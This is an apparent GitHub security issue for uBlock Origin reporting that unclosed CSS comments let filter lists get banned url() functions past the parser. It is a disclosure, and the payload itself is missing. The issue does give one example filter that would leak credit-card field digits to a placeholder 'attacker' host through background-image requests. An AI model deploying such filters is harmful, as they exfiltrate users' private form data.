Security: comments can be used to smuggle url() functions into css values. #1693
Closed
8 tasks done
Labels
fixed
issue has been addressed
Prerequisites
I tried to reproduce the issue when...
Description
If I understand the filter security model correctly, third party filter lists are trusted to hide content, but are not permitted to modify or read page content. For this reason, the css
url()
function is not permitted in any:style()
rules, because that could be used to modify and/or exfiltrate content.I guess the obvious way to exfiltrate content would be to auto-generate a ton of
input.creditcard:has-text(/^0/):style(background-image: url(http://attacker/?matched=0)
filters, but I guess you already realized this and that's why you banurl()
😃Anyway, I think I've found a way to get a
url()
past the parser, it doesn't check if comments are closed in variables, so this filter:Generates this CSS:
A specific URL where the issue occurs
https://www.example.com/
Steps to Reproduce
Visit this link, observe that there is an image background. I think this should be impossible.
Expected behavior
The css
url()
function is correctly banned.Actual behavior
The parser is confused by unclosed comments.
uBlock Origin version
1.37.2
Browser name and version
Chrome 92
Operating System and version
Fedora 34
The text was updated successfully, but these errors were encountered: